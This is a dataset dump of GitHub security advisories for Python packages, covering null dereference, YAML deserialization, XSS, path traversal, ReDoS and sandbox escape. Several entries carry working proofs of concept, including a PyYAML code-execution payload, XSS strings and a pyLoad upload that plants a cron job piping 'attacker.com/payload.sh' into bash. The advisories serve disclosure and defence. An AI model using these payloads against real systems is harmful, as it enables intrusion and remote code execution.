deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-3jhf-gxhr-q4cx
Package: MaterialX (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-476: NULL Pointer Dereference
Vulnerable versions: = 1.39.2
Patched in: 1.39.3

Summary: MaterialX Null Pointer Dereference in getShaderNodes due to Unchecked nodeGraph->getOutput return

Details:
### Summary

When parsing shader nodes in a MTLX file, the MaterialXCore code accesses a potentially null pointer, which can lead to crashes with maliciously crafted files.

### Details

In `src/MaterialXCore/Material.cpp`, in function `getShaderNodes`, the following code fetches the output nodes for a given `nodegraph` input node:

```cpp
// SNIP...
        else if (input->hasNodeGraphString())
        {
            // Check upstream nodegraph connected to the input.
            // If no explicit output name given then scan all outputs on the nodegraph.
            ElementPtr parent = materialNode->getParent();
            NodeGraphPtr nodeGraph = parent->getChildOfType<NodeGraph>(input->getNodeGraphString());
            if (!nodeGraph)
            {
                continue;
            }
            vector<OutputPtr> outputs;
            if (input->hasOutputString())
            {
                outputs.push_back(nodeGraph->getOutput(input->getOutputString())); // <--- null ptr is returned
            }
            else
            {
                outputs = nodeGraph->getOutputs();
            }
            for (OutputPtr output : outputs)
            {
                NodePtr upstreamNode = output->getConnectedNode(); // <--- CRASHES HERE
                if (upstreamNode && !shaderNodeSet.count(upstreamNode))
                {
                    if (!target.empty() && !upstreamNode->getNodeDef(target))
                    {
                        continue;
                    }
                    shaderNodeVec.push_back(upstreamNode);
                    shaderNodeSet.insert(upstreamNode);
                }
            }
        }
    }
// SNIP...
```

The issues arise because the `nodeGraph->getOutput(input->getOutputString())` call can return a null pointer, therefore when trying to call `output->getConnectedNode()`, this results in a crash    .


### PoC

Please download `nullptr_getshadernodes.mltx` from the following link:

https://github.com/ShielderSec/poc/tree/main/CVE-2025-53010

`build/bin/MaterialXView --material nullptr_getshadernodes.mtlx`


### Impact

An attacker could intentionally crash a target program that uses OpenEXR by sending a malicious MTLX file.
GitHub Security Advisory: GHSA-fm6c-f59h-7mmg
Package: ms-swift (PIP)
Severity: LOW (CVSS 9.8)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: <= 3.6.3
Patched in: unpatched

Summary: MS SWIFT Remote Code Execution via unsafe PyYAML deserialization

Details:
## Description

A Remote Code Execution (RCE) vulnerability exists in the [modelscope/ms-swift](https://github.com/modelscope/ms-swift) project due to unsafe use of `yaml.load()` in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the `tests/run.py` script, where a user-supplied YAML configuration file is deserialized using `yaml.load()` with `yaml.FullLoader`.

If an attacker can control or replace the YAML configuration file provided to the `--run_config` argument, they may inject a malicious payload that results in arbitrary code execution.

## Affected Repository

- **Project:** [modelscope/ms-swift](https://github.com/modelscope/ms-swift)
- **Affect versions:** latest
- **File:** `tests/run.py`
- **GitHub Permalink:** https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420
- **Dependency:** PyYAML <= 5.3.1

## Vulnerable Code

```python
if args.run_config is not None and Path(args.run_config).exists():
    with open(args.run_config, encoding='utf-8') as f:
        run_config = yaml.load(f, Loader=yaml.FullLoader)
```

## Proof of Concept (PoC)

### Step 1: Create malicious YAML file (`exploit.yaml`)

```yaml
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('mkdir HACKED')"
```

### Step 2: Execute with vulnerable PyYAML (<= 5.3.1)

```python
import yaml

with open("exploit.yaml", "r") as f:
    cfg = yaml.load(f, Loader=yaml.FullLoader)
```

This results in execution of `os.system`, proving code execution.

## Mitigation

* Replace `yaml.load()` with `yaml.safe_load()`
* Upgrade PyYAML to version 5.4 or later

### Example Fix:

```python
# Before
yaml.load(f, Loader=yaml.FullLoader)

# After
yaml.safe_load(f)
```


## Author

* Discovered by: Yu Rong (戎誉) and Hao Fan (凡浩)
* Contact: *\[[anchor.rongyu020221@gmail.com](mailto:anchor.rongyu020221@gmail.com)]*
GitHub Security Advisory: GHSA-8mx2-rjh8-q3jq
Package: copyparty (PIP)
Severity: MODERATE (CVSS 6.3)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 1.18.6
Patched in: 1.18.7

Summary: copyparty Reflected XSS via Filter Parameter

Details:
### Summary
Unauthorized reflected Cross-Site-Scripting when accessing the URL for recent uploads with the `filter` parameter containing JavaScript code.

### Details
When accessing the recent uploads page at `/?ru`, users can filter the results using an input field at the top. This field appends a filter parameter to the URL, which reflects its value directly into a `<script>` block without proper escaping.
This vulnerability allows for reflected Cross-Site Scripting (XSS) and can be exploited against both authenticated and unauthenticated users, enabling unwanted actions in the victims browser.

### PoC
A URL like this will execute `alert(1)`:
```
https://127.0.0.1:3923/?ru&filter=</script><script>alert(1)</script>
```
GitHub Security Advisory: GHSA-wj6h-64fc-37mp
Package: ecdsa (PIP)
Severity: HIGH (CVSS 7.4)
CWE: CWE-203: Observable Discrepancy, CWE-208: Observable Timing Discrepancy, CWE-385: Covert Timing Channel
Vulnerable versions: >= 0
Patched in: unpatched

Summary: Minerva timing attack on P-256 in python-ecdsa

Details:
python-ecdsa has been found to be subject to a Minerva timing attack on the P-256 curve. Using the `ecdsa.SigningKey.sign_digest()` API function and timing signatures an attacker can leak the internal nonce which may allow for private key discovery. Both ECDSA signatures, key generation, and ECDH operations are affected. ECDSA signature verification is unaffected. The python-ecdsa project considers side channel attacks out of scope for the project and there is no planned fix.
GitHub Security Advisory: GHSA-q78p-g86f-jg6q
Package: bugsink (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 1.4.3
Patched in: 1.4.3

Summary: Bugsink path traversal via event_id in ingestion

Details:
## Summary

In affected versions, ingestion paths construct file locations directly from untrusted `event_id` input without validation. A specially crafted `event_id` can result in paths outside the intended directory, potentially allowing file overwrite or creation in arbitrary locations.

Submitting such input requires access to a valid DSN. While that limits exposure, DSNs are sometimes discoverable—for example, when included in frontend code—and should not be treated as a strong security boundary.

## Impact

A valid DSN holder can craft an `event_id` that causes the ingestion process to write files outside its designated directory. This allows overwriting files accessible to the user running Bugsink.

If Bugsink runs in a container, the effect is confined to the container’s filesystem. In non-containerized setups, the overwrite may affect other parts of the system accessible to that user.

## Mitigation

Update to version `1.7.4`, `1.6.4`, `1.5.5` or `1.4.3` , which require `event_id` to be a valid UUID and normalizes it before use in file paths.
GitHub Security Advisory: GHSA-q78p-g86f-jg6q
Package: bugsink (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: >= 1.5.0, < 1.5.5
Patched in: 1.5.5

Summary: Bugsink path traversal via event_id in ingestion

Details:
## Summary

In affected versions, ingestion paths construct file locations directly from untrusted `event_id` input without validation. A specially crafted `event_id` can result in paths outside the intended directory, potentially allowing file overwrite or creation in arbitrary locations.

Submitting such input requires access to a valid DSN. While that limits exposure, DSNs are sometimes discoverable—for example, when included in frontend code—and should not be treated as a strong security boundary.

## Impact

A valid DSN holder can craft an `event_id` that causes the ingestion process to write files outside its designated directory. This allows overwriting files accessible to the user running Bugsink.

If Bugsink runs in a container, the effect is confined to the container’s filesystem. In non-containerized setups, the overwrite may affect other parts of the system accessible to that user.

## Mitigation

Update to version `1.7.4`, `1.6.4`, `1.5.5` or `1.4.3` , which require `event_id` to be a valid UUID and normalizes it before use in file paths.
GitHub Security Advisory: GHSA-q78p-g86f-jg6q
Package: bugsink (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: >= 1.6.0, < 1.6.4
Patched in: 1.6.4

Summary: Bugsink path traversal via event_id in ingestion

Details:
## Summary

In affected versions, ingestion paths construct file locations directly from untrusted `event_id` input without validation. A specially crafted `event_id` can result in paths outside the intended directory, potentially allowing file overwrite or creation in arbitrary locations.

Submitting such input requires access to a valid DSN. While that limits exposure, DSNs are sometimes discoverable—for example, when included in frontend code—and should not be treated as a strong security boundary.

## Impact

A valid DSN holder can craft an `event_id` that causes the ingestion process to write files outside its designated directory. This allows overwriting files accessible to the user running Bugsink.

If Bugsink runs in a container, the effect is confined to the container’s filesystem. In non-containerized setups, the overwrite may affect other parts of the system accessible to that user.

## Mitigation

Update to version `1.7.4`, `1.6.4`, `1.5.5` or `1.4.3` , which require `event_id` to be a valid UUID and normalizes it before use in file paths.
GitHub Security Advisory: GHSA-q78p-g86f-jg6q
Package: bugsink (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: >= 1.7.0, < 1.7.4
Patched in: 1.7.4

Summary: Bugsink path traversal via event_id in ingestion

Details:
## Summary

In affected versions, ingestion paths construct file locations directly from untrusted `event_id` input without validation. A specially crafted `event_id` can result in paths outside the intended directory, potentially allowing file overwrite or creation in arbitrary locations.

Submitting such input requires access to a valid DSN. While that limits exposure, DSNs are sometimes discoverable—for example, when included in frontend code—and should not be treated as a strong security boundary.

## Impact

A valid DSN holder can craft an `event_id` that causes the ingestion process to write files outside its designated directory. This allows overwriting files accessible to the user running Bugsink.

If Bugsink runs in a container, the effect is confined to the container’s filesystem. In non-containerized setups, the overwrite may affect other parts of the system accessible to that user.

## Mitigation

Update to version `1.7.4`, `1.6.4`, `1.5.5` or `1.4.3` , which require `event_id` to be a valid UUID and normalizes it before use in file paths.
GitHub Security Advisory: GHSA-9q4r-x2hj-jmvr
Package: copyparty (PIP)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 1.18.4
Patched in: 1.18.5

Summary: copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata

Details:
### Summary

An unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including `m3u` files.

### Details

Multimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:

* a user which has the necessary permission for uploading files can upload a song with an artist-name such as `<img src=x onerror=alert(document.domain)>`
* an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file

The CVE score and PoC is based on the m3u approach, which results in a higher severity.

### PoC
1.  Create a file named `song.m3u` with the following content. Host this file on an attacker-controlled web server.

    ```m3u
    #EXTM3U
    #EXTINF:1,"><img src=x onerror=alert(document.domain)> - "><img src=x onerror=alert(document.domain)>
    http://example.com/audio.mp3
    ```

2.  Craft and share the malicious URL:  

    ```
    http://127.0.0.1:3923/#m3u=https://example.com/song.m3u
    ```


### Impact
Any user that accesses this malicious URL is impacted.
GitHub Security Advisory: GHSA-6v92-r5mx-h5fx
Package: smolagents (PIP)
Severity: CRITICAL (CVSS 9.9)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: < 1.17.0
Patched in: 1.17.0

Summary: smolagents has Sandbox Escape Vulnerability in the local_python_executor.py Module

Details:
A sandbox escape vulnerability was identified in huggingface/smolagents version 1.14.0, allowing attackers to bypass the restricted execution environment and achieve remote code execution (RCE). The vulnerability stems from the local_python_executor.py module, which inadequately restricts Python code execution despite employing static and dynamic checks. Attackers can exploit whitelisted modules and functions to execute arbitrary code, compromising the host system. This flaw undermines the core security boundary intended to isolate untrusted code, posing risks such as unauthorized code execution, data leakage, and potential integration-level compromise. The issue is resolved in version 1.17.0.
GitHub Security Advisory: GHSA-2g7m-ph9x-7q7m
Package: calibreweb (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-1333: Inefficient Regular Expression Complexity
Vulnerable versions: <= 0.6.24
Patched in: unpatched

Summary: Calibre Web and Autocaliweb have a ReDoS vulnerability

Details:
ReDoS in strip_whitespaces() function in cps/string_helper.py in Calibre Web and Autocaliweb allows unauthenticated remote attackers to cause denial of service via specially crafted username parameter that triggers catastrophic backtracking during login. This issue affects Calibre Web: 0.6.24 (Nicolette); Autocaliweb: from 0.7.0 before 0.7.1.
GitHub Security Advisory: GHSA-qc4j-v7h6-xr5h
Package: calibreweb (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: <= 0.6.24
Patched in: unpatched

Summary: Calibre Web and Autocaliweb have OS Command Injection vulnerability

Details:
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Calibre Web, Autocaliweb allows Blind OS Command Injection. This issue affects Calibre Web: 0.6.24 (Nicolette); Autocaliweb: from 0.7.0 before 0.7.1.
GitHub Security Advisory: GHSA-269j-37ww-cmh3
Package: Mezzanine (PIP)
Severity: MODERATE (CVSS 4.8)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 6.1.0
Patched in: unpatched

Summary: Mezzanine CMS vulnerable to Cross-site Scripting

Details:
A cross-site scripting (XSS) vulnerability in the component /blog/blogpost/add of Mezzanine CMS v6.1.0 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into a blog post.
GitHub Security Advisory: GHSA-rrf6-pxg8-684g
Package: fastapi-guard (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-20: Improper Input Validation, CWE-185: Incorrect Regular Expression, CWE-1333: Inefficient Regular Expression Complexity
Vulnerable versions: = 3.0.1
Patched in: 3.0.2

Summary: FastAPI Guard has a regex bypass

Details:
### Summary

The regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit.

### Details

In version 3.0.1, you can find a commit like the one in the link below, which was made to prevent ReDoS.
https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f

This commit mitigates the vulnerability by limiting the length of the input string, as shown in the example below.
`r"<script[^>]*>[^<]*<\\/script\\s*>"` -> `<script[^>]{0,100}>[^<]{0,1000}<\\/script\\s{0,10}>`

This type of patch fails to catch cases where the string representing the attributes of a <script> tag exceeds 100 characters.
Therefore, most of the regex patterns present in version 3.0.1 can be bypassed.

### PoC

1. clone the fastapi-guard repository
2. Navigate to the examples directory and modify the main.py source code. Change the HTTP method for the root route from GET to POST.
<img width="1013" height="554" alt="image" src="https://github.com/user-attachments/assets/cf93ea37-2fd7-4251-abb6-b55f88685f54" />
3. After that, set up the example app environment by running the docker-compose up command. Then, run the Python code below to verify that the two requests return different results.

```python
import requests

URL = "<http://localhost:8000>"

obvious_payload = {
    "obvious" : "<script>alert(1);</script>"
}
response = requests.post(url=URL, json=obvious_payload)
print(f"[+] response of first request: {response.text}")

bypassed_payload = {
    "suspicious" : f'<script id="i_can_bypass_regex_filtering{'a'*100}">alert(1)</script>'
}

response = requests.post(url=URL, json=bypassed_payload)
print(f"[+] response of second request: {response.text}")

```
<img width="836" height="112" alt="image" src="https://github.com/user-attachments/assets/11dcccb2-6179-44b1-9628-ae0a787e3bb7" />

### Impact

Due to this vulnerability, most of the regex patterns can potentially be bypassed, making the application vulnerable to attacks such as XSS and SQL Injection.
GitHub Security Advisory: GHSA-h7x8-jv97-fvvm
Package: dagster (PIP)
Severity: MODERATE (CVSS 6.6)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 1.10.16
Patched in: 1.10.16

Summary: Dagster Local File Inclusion vulnerability

Details:
Local File Inclusion in dagster._grpc.impl.get_notebook_data in Dagster 1.10.14 allows attackers with access to the gRPC server to read arbitrary files by supplying path traversal sequences in the notebook_path field of ExternalNotebookData requests, bypassing the intended extension-based check.
GitHub Security Advisory: GHSA-gmvv-rj92-9w35
Package: aim (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 3.30.0.dev20250611
Patched in: unpatched

Summary: Aim vulnerable to Cross-site Scripting

Details:
Cross-site Scripting (XSS) in aimhubio Aim 3.28.0 allows remote attackers to execute arbitrary JavaScript in victims browsers via malicious Python code submitted to the /api/reports endpoint, which is interpreted and executed by Pyodide when the report is viewed. No sanitisation or sandbox restrictions prevent JavaScript execution via pyodide.code.run_js().
GitHub Security Advisory: GHSA-38r9-3j52-h92v
Package: aim (PIP)
Severity: HIGH (CVSS 7.4)
CWE: CWE-352: Cross-Site Request Forgery (CSRF)
Vulnerable versions: <= 3.22.0
Patched in: unpatched

Summary: Aim vulnerable to Cross-Site Request Forgery

Details:
aimhubio/aim version 3.22.0 contains a Cross-Site Request Forgery (CSRF) vulnerability in the tracking server. The vulnerability is due to overly permissive CORS settings, allowing cross-origin requests from all origins. This enables CSRF attacks on all endpoints of the tracking server, which can be chained with other existing vulnerabilities such as remote code execution, denial of service, and arbitrary file read/write.
GitHub Security Advisory: GHSA-xqpg-92fq-grfg
Package: pyload-ng (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: = 0.5.0b3.dev89
Patched in: 0.5.0b3.dev90

Summary: `pyLoad` has Path Traversal Vulnerability in `json/upload` Endpoint that allows Arbitrary File Write

Details:
## Summary
An **authenticated path traversal vulnerability** exists in the `/json/upload` endpoint of the `pyLoad` By **manipulating the filename of an uploaded file**, an attacker can traverse out of the intended upload directory, allowing them to **write arbitrary files to any location** on the system accessible to the pyLoad process. This may lead to:

* **Remote Code Execution (RCE)**
* **Local Privilege Escalation**
* **System-wide compromise**
* **Persistence and backdoors**

---

### Vulnerable Code

File: [`src/pyload/webui/app/blueprints/json_blueprint.py`](https://github.com/pyload/pyload/blob/df094db67ec6e25294a9ac0ddb4375fd7fb9ba00/src/pyload/webui/app/blueprints/json_blueprint.py#L109)

```python
@json_blueprint.route("/upload", methods=["POST"])
def upload():
    dir_path = api.get_config_value("general", "storage_folder")
    for file in request.files.getlist("file"):
        file_path = os.path.join(dir_path, "tmp_" + file.filename)  
        file.save(file_path) 
```
**Issue**: No sanitization or validation on `file.filename`, allowing traversal via `../../` sequences.




### (Proof of Concept)

1. **Clone and install pyLoad from source** (`pip install pyload-ng`):

```bash
git clone https://github.com/pyload/pyload
cd pyload
git checkout 0.4.20
python -m pip install -e .
pyload --userdir=/tmp/pyload
```

2. **Or install via pip (PyPi) in virtualenv:**

```bash
python -m venv pyload-env
source pyload-env/bin/activate
pip install pyload==0.4.20
pyload
```


1. **Login and obtain session token**
```bash
curl -c cookies.txt -X POST http://127.0.0.1:8000/login \
  -d "username=admin&password=admin"
```

2. **Create malicious cron payload**
```bash
echo "*/1 * * * * root curl http://attacker.com/payload.sh | bash" > exploit
```

3. **Upload file with path traversal filename**
```bash
curl -b cookies.txt -X POST http://127.0.0.1:8000/json/upload \
  -F "file=@exploit;filename=../../../../etc/cron.d/pyload_backdoor"
```

4. On the next cron tick, a reverse shell or payload will be triggered.

### BurpSuite HTTP Request

```
POST /json/upload HTTP/1.1
Host: 127.0.0.1:8000
Cookie: session=SESSION_ID_HERE
Content-Type: multipart/form-data; boundary=------------------------d74496d66958873e

--------------------------d74496d66958873e
Content-Disposition: form-data; name="file"; filename="../../../../etc/cron.d/pyload_backdoor"
Content-Type: application/octet-stream

*/1 * * * * root curl http://attacker.com/payload.sh | bash
--------------------------d74496d66958873e--
```